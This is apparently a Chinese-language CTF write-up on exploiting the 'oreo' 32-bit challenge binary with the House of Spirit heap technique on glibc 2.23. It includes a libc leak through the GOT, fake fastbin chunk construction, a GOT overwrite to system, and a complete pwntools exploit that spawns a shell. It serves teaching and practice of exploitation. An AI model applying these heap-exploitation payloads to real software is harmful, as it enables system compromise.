0%

House Of Spirit-2.23-32

oreo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
➜  [/home/ywhkkx/桌面] ./oreo 
Welcome to the OREO Original Rifle Ecommerce Online System!

,______________________________________
|_________________,----------._ [____] -,__ __....-----=====
(_(||||||||||||)___________/ |
`----------' OREO [ ))"-, |
"" `, _,--....___ |
`/ """"

What would you like to do?

1. Add new rifle
2. Show added rifles
3. Order selected rifles
4. Leave a Message with your Order
5. Show current stats
6. Exit!
Action:
1
2
3
4
5
6
7
8
oreo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.26, BuildID[sha1]=f591eececd05c63140b9d658578aea6c24450f8b, stripped

[*] '/home/ywhkkx/桌面/oreo'
Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

32位,dynamically,开了canary,开了NX,libc-2.23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned int Add()
{
char *v1; // [esp+18h] [ebp-10h]
unsigned int canary; // [esp+1Ch] [ebp-Ch]

canary = __readgsdword(0x14u);
v1 = chunk_list;
chunk_list = malloc(0x38u);
if ( chunk_list )
{
*(chunk_list + 13) = v1;
printf("Rifle name: ");
fgets(chunk_list + 25, 56, stdin); // chunk_list + 25 is Rname_addr
change(chunk_list + 25);
printf("Rifle description: ");
fgets(chunk_list, 56, stdin); // chunk_list + 0 is description_addr
change(chunk_list);
++new_times;
}
else
{
puts("Something terrible happened!");
}
return __readgsdword(0x14u) ^ canary;
}
1
2
3
4
5
6
pwndbg> x/20xw 0x804A288 // chunk_list
0x804a288: 0x0804ba00 0x00000000 0x00000000 0x00000000 // 最新chunk的地址
0x804a298: 0x00000000 0x00000000 0x00000000 0x00000002
0x804a2a8: 0x0804a2c0 0x00000000 0x00000000 0x00000000 // message_addr
0x804a2b8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a2c8: 0x00000000 0x00000000 0x00000000 0x00000000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
pwndbg> telescope 0x804b9b8
00:00000x804b9b8 ◂— 0x0 // chunk1
01:00040x804b9bc ◂— 0x41
02:00080x804b9c0 ◂— 'AAAAAAAA' // chunk1_description
03:000c│ 0x804b9c4 ◂— 'AAAA'
04:00100x804b9c8 ◂— 0x0
... ↓ 3 skipped
08:00200x804b9d8 ◂— 0x61616100 // chunk1_name
09:00240x804b9dc ◂— 'aaaaa'
0a:00280x804b9e0 ◂— 0x61
0b:002c│ 0x804b9e4 ◂— 0x0
... ↓ 4 skipped
10:00400x804b9f8 ◂— 0x0 // chunk2
11:00440x804b9fc ◂— 0x41
12:00480x804ba00 ◂— 'BBBBBBBB' // chunk2_description
13:004c│ 0x804ba04 ◂— 'BBBB'
14:00500x804ba08 ◂— 0x0
... ↓ 3 skipped
18:00600x804ba18 ◂— 0x62626200 // chunk2_name
19:00640x804ba1c ◂— 'bbbbb'
1a:00680x804ba20 ◂— 0x62
1b:006c│ 0x804ba24 ◂— 0x0
... ↓ 3 skipped
1f:007c│ 0x804ba34 —▸ 0x804b9c0 ◂— 'AAAAAAAA'
20:00800x804ba38 ◂— 0x0 // chunk3
21:00840x804ba3c ◂— 0x41
22:00880x804ba40 ◂— 'CCCCCCCC' // chunk3_description
23:008c│ 0x804ba44 ◂— 'CCCC'
24:00900x804ba48 ◂— 0x0
... ↓ 3 skipped
28:00a0│ 0x804ba58 ◂— 0x63636300 // chunk3_name
29:00a4│ 0x804ba5c ◂— 'ccccc'
2a:00a8│ 0x804ba60 ◂— 0x63
2b:00ac│ 0x804ba64 ◂— 0x0
... ↓ 3 skipped
2f:00bc│ 0x804ba74 —▸ 0x804ba00 ◂— 'BBBBBBBB'
30:00c0│ 0x804ba78 ◂— 0x0
31:00c4│ 0x804ba7c ◂— 0x21589
1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> x/20wx 0x804b9b8
0x804b9b8: 0x00000000 0x00000041 0x41414141 0x41414141 // chunk1
0x804b9c8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b9d8: 0x61616100 0x61616161 0x00000061 0x00000000
0x804b9e8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b9f8: 0x00000000 0x00000041 0x42424242 0x42424242 // chunk2
0x804ba08: 0x00000000 0x00000000 0x00000000 0x00000000
0x804ba18: 0x62626200 0x62626262 0x00000062 0x00000000
0x804ba28: 0x00000000 0x00000000 0x00000000 0x0804b9c0 // data of chunk1
0x804ba38: 0x00000000 0x00000041 0x43434343 0x43434343 // chunk3
0x804ba48: 0x00000000 0x00000000 0x00000000 0x00000000
0x804ba58: 0x63636300 0x63636363 0x00000063 0x00000000
0x804ba68: 0x00000000 0x00000000 0x00000000 0x0804ba00 // data of chunk2
0x804ba78: 0x00000000 0x00021589 0x00000000 0x00000000

输入的 description 可以溢出到下一个 chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned int Show()
{
char *i; // [esp+14h] [ebp-14h]
unsigned int canary; // [esp+1Ch] [ebp-Ch]

canary = __readgsdword(0x14u);
printf("Rifle to be ordered:\n%s\n", "===================================");
for ( i = chunk_list; i; i = *(i + 13) )
{
printf("Name: %s\n", i + 25);
printf("Description: %s\n", i);
puts("===================================");
}
return __readgsdword(0x14u) ^ canary;
}

chunk_list 中装有当前 chunk 的地址,它的遍历完全依靠末尾的地址(向前遍历),完全可以劫持末尾的地址来打印函数

比如把它劫持为“puts_got - 25”,程序会把“puts_got”当成下一个 chunk 的 name

​ // 当然也可以劫持为“puts_got”,程序会把“puts_got”当成下一个 chunk 的 description

1
2
3
4
5
6
7
8
9
10
11
12
puts_got=elf.got['puts']
payload='aaa'+'bbbb'*6+p32(puts_got-25)
add(payload,"chunk1")
show()
p.readuntil("Name: ")
leak_addr=u32(p.read(4))
libc_base=leak_addr-libc.sym['puts']
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

system_libc=libc_base+libc.sym['system']
success('system_libc >> '+hex(system_libc))

可以打 house of spirit,其核心为:free一个假的chunk,下次malloc把它申请回来

为了绕过 libc 对 free fastbin 的检查,需要设置“chunk->size”和“nextchunk->size”

1
2
3
4
5
6
7
8
9
10
.bss:0804A2A0 order_times     dd ?                    ; DATA XREF: Order+5A↑r
.bss:0804A2A0 ; Order+62↑w ...
.bss:0804A2A4 new_times dd ? // target
.bss:0804A2A4 ; Add+CD↑w ...
.bss:0804A2A8 ; char *message
.bss:0804A2A8 message dd ? ; DATA XREF: Message+23↑r
.bss:0804A2A8 ; Message+3C↑r ...
.bss:0804A2AC align 20h
.bss:0804A2C0 message_addr db
.bss:0804A2C1 db ? ;

new_times 在申请 chunk 后会增加“1”,所以可以申请“0x40”个 chunk 来伪造“chunk->size”,那么“nextchunk->size”就应该在“0x804A2A4+0x40=0x804a2e4”,这一大片空间都是用来存放“message”的,并且可以控制

1
2
3
4
5
6
7
8
9
fake_heap = 0x804A2A4 # addr of new_times

for x in range(0x40-1): # 为了实现fastbin同组和内存对齐,chunk->size必须为0x40
add("mm", "gg")

payload = "aaa" + "bbbb"*6 + p32(fake_heap+4) # the data of fake_heap
add(payload, "chunkn")
message = "\x00\x00\x00\x00"*9 + p32(0x41) # nextchunk->size只要符合条件就好
leave(message)

先覆盖末尾的“lastchunk->FD”为“fake_heap+8”

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> telescope 0x804A2A4
00:00000x804a2a4 ◂— 0x41 /* 'A' */
01:00040x804a2a8 —▸ 0x804a2c0 ◂— 0x0 // start addr of message
02:00080x804a2ac ◂— 0x0
... ↓ 5 skipped
pwndbg>
08:00200x804a2c4 ◂— 0x0
... ↓ 7 skipped
pwndbg>
10:00400x804a2e4 ◂— 0x41 /* 'A' */
11:00440x804a2e8 ◂— 0xa /* '\n' */
12:00480x804a2ec ◂— 0x0

接下来可以进行 free 了,最后打 GOT 劫持:

1
2
3
4
free()
add("name", p32(scanf_got))
leave(p32(system_libc))
p.sendline("/bin/sh\0")
1
2
3
4
5
6
7
8
9
pwndbg> bins
fastbins
0x10: 0x0
0x18: 0x0
0x20: 0x0
0x28: 0x0
0x30: 0x0
0x38: 0x0
0x40: 0x804a2a0 —▸ 0x9d72810 ◂— 0x0

free 执行后,“0x804a2a0”进入 fastbin ,下一次就会申请这个地址,并且把“description”写在“0x804a2a0+0x8”(这刚好是 message 的地址,写 message 时会进行劫持)

1
2
3
4
5
6
pwndbg> telescope 0x804a2a0
00:00000x804a2a0 ◂— 0x1
01:00040x804a2a4 ◂— 0x42 /* 'B' */
02:00080x804a2a8 —▸ 0x804a258 (__isoc99_sscanf@got.plt) —▸ 0xf7e6b4d0 (__isoc99_sscanf) ◂— sub esp, 0xc
03:000c│ 0x804a2ac ◂— 0x0
... ↓ 4 skipped

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
context.log_level = "debug"

def add(name, descrip):
p.readuntil("Action:")
p.sendline("1")
p.readuntil("name:")
p.sendline(name)
p.readuntil("description:")
p.sendline(descrip)

def show():
p.readuntil("Action:")
p.sendline("2")
p.readuntil("Name: ")
p.readuntil("Name: ")
return u32(p.read(4))

def free():
p.readuntil("Action:")
p.sendline("3")

def leave(message):
p.readuntil("Action:")
p.sendline("4")
p.readuntil("order: ")
p.sendline(message)

p = process("oreo", stdin=PTY) # 注意:这里不这么写的话就无法读取数据
elf=ELF('./oreo')
libc=ELF('./libc-2.23.so')

puts_got=elf.got['puts']
payload='aaa'+'bbbb'*6+p32(puts_got)
add(payload,"chunk1")
show()

p.readuntil("cription: ") # 对应的recv都改为read
leak_addr=u32(p.read(4))
libc_base=leak_addr-libc.sym['puts']
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))
system_libc=libc_base+libc.sym['system']
success('system_libc >> '+hex(system_libc))

scanf_got = 0x804A258
fake_heap = 0x804A2A4
system_offset = 0x3ada0

for x in range(0x40-1):
add("mm", "gg")

payload = "aaa" + "bbbb"*6 + p32(fake_heap+4)
add(payload, "chunkn")
message = "\x00\x00\x00\x00"*9 + p32(0x41)
leave(message)

free()
add("name", p32(scanf_got))
leave(p32(system_libc))
p.sendline("/bin/sh\0")

p.interactive()

house of spirit 小结(2.23)

house of spirit 的核心在于free掉一个伪造的chunk

特点归纳如下:

  • 需要修改模块
  • 不需要可控的释放模块
  • 需要一些“计数器”方便伪造“chunk->size”和“nextchunk->size”

伪造“chunk->size”和“nextchunk->size”就是这种攻击的关键,确定了目标地址后,需要思考“下一个chunk”是否可控(为了写入“nextchunk->size”),有时可以通过调整“chunk->size”来把“下一个chunk”伪造到可控的区域内

注意:“chunk->size”要符合内存对齐,还要保证后续malloc可以申请回来,“nextchunk->size”随便

打算使用这种攻击前,先看看“计数器”的位置,主要看它后面有没有可以控制的区域,然后看修改模块可不可以控制这些区域,如果这两个条件都可以完成,就可以打“GOT劫持”或者“hook劫持”